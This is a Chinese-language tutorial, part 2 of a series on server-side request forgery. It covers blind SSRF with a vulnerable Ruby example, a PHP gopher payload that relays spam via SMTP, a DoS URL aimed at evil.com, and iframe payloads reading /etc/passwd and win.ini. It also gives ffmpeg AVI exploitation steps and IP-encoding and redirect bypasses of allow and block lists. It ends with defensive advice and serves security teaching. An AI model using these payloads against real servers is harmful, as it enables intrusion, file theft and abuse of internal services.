SSRF-服务器端请求伪造(类型和利用方法)第2部分
字数 1365 2025-08-26 22:11:14
服务器端请求伪造(SSRF)类型与利用方法详解 - 第2部分
盲SSRF (Blind SSRF)
盲SSRF是指攻击者无法直接看到服务器响应内容的SSRF漏洞类型。虽然无法获取响应,但仍可利用其进行内部网络探测和其他攻击。
盲SSRF示例(Ruby)
require 'sinatra'
require 'open-uri'
get '/' do
open params[:url]
'done'
end
此代码开放4567端口,当收到请求时:
- 对用户提供的URL发出请求
- 仅返回"done"而不显示实际响应内容
盲SSRF利用方法
内部IP和端口扫描
通过观察响应状态和响应时间差异,可以探测内部网络中开放的端口和服务。
常用私有IPv4网络范围:
- 10.0.0.0/8
- 127.0.0.1/32
- 172.16.0.0/12
- 192.168.0.0/16
发送垃圾邮件
利用Gopher协议通过SMTP服务器发送垃圾邮件:
<?php
$commands = array(
'HELO test.org',
'MAIL FROM: <admin@server.com>',
'RCPT TO: <bit-bucket@test.smtp.org>',
'DATA',
'Test mail'
);
$payload = implode('%0A', $commands);
header('Location: gopher://test.smtp.org:25/_'.$payload);
?>
拒绝服务攻击
使用iptables TARPIT target和CURL的FTP协议创建长时间阻塞的请求:
https://example.com/ssrf/url?url=ftp://evil.com:12345/TEST
常见SSRF漏洞场景
1. 资源获取端点
示例:
http://example.com/index.php?page=about.php
http://example.com/index.php?page=https://google.com
http://example.com/index.php?page=file:///etc/passwd
2. POST请求中的URL参数
示例:
POST /test/demo_form.php HTTP/1.1
Host: example.com
url=https://example.com/as&name2=value2
3. PDF生成器
当服务器将上传文件转换为PDF时,可尝试注入:
<iframe>, ``,<base>或<script>元素- CSS
url()函数
读取内部文件示例:
<iframe src="file:///etc/passwd" width="400" height="400">
<iframe src="file:///c:/windows/win.ini" width="400" height="400">
4. 文件上传功能
尝试修改输入类型从file改为url:
<input type="file" id="upload_file" name="upload_file[]" class="file" size="1" multiple="">
改为
<input type="url" id="upload_file" name="upload_file[]" class="file" size="1" multiple="">
5. 视频转换功能
使用过时版本的ffmpeg进行视频转换时存在SSRF漏洞。利用方法:
- 克隆neex仓库
- 生成恶意avi文件:
./gen_xbin_avi.py file://<filename> file_read.avi - 上传到易受攻击服务器并尝试转换为mp4
绕过防护措施
绕过白名单
当目标使用白名单机制时,可利用开放重定向绕过:
案例1:白名单包含abc.com
http://example.com/ssrf.php?url=https://google.com - 被阻止
http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com - 成功
案例2:白名单包含*.abc.com
若存在子域名接管漏洞:
http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com
绕过黑名单
多种方法可绕过IP黑名单:
-
IP格式转换
- 十六进制:
http://192.168.0.1→http://c0.a8.00.01或http://0xc0a80001 - 十进制:
http://2130706433/=http://127.0.0.1 - 八进制:
http://192.168.0.1/→http://0300.0250.0000.0001或http://030052000001
- 十六进制:
-
使用通配符DNS服务
- http://xip.io/
- http://nip.io/
- https://ip6.name/
- https://sslip.io/
示例:
10.0.0.1.xip.io → 10.0.0.1 www.10.0.0.1.xip.io → 10.0.0.1 -
使用自定义域名
创建子域并设置A记录指向目标IP -
使用封闭式数字字母
如http:example.com
漏洞资源
- CVE数据库SSRF相关漏洞:https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=ssrf
- WordPress漏洞数据库:https://wpvulndb.com/search?utf8=✓&text=ssrf
防御建议
- 实施严格的白名单机制
- 验证所有用户提供的URL
- 禁用不必要的协议(如file://, gopher://, ftp://)
- 使用网络层防护措施
- 定期更新所有组件和依赖项
通过理解这些SSRF技术和绕过方法,安全人员可以更好地评估和防护此类漏洞。